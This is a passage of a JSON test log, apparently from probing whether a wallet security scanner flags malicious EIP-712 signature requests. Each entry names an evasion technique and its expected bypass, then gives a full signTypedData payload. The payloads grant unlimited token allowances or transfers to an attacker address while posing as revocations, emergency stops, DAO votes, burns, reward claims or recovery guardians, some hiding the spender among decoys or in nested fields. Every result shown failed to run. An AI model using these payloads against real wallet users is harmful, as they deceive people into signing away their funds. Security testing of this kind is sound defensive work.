Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x01f27d179e1d0b44756a0c6bde0e2c3fce2538eaad5438f29ba4730c53003bb2\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN57-EIP3009-054", "timestamp": "2026-01-31T19:06:53.852Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x5c460a8ac6ce2f6678a31158070517f4e0acdb6b26cc724003b5ef3c3559442c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:07:03.408Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:07:12.954Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:07:22.517Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:07:32.058Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:07:41.621Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:07:51.169Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:08:00.713Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:08:10.267Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:08:19.826Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:08:29.390Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:08:38.957Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:08:48.519Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:08:58.078Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:09:07.641Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:09:17.200Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:09:26.766Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:09:36.329Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:09:45.891Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token 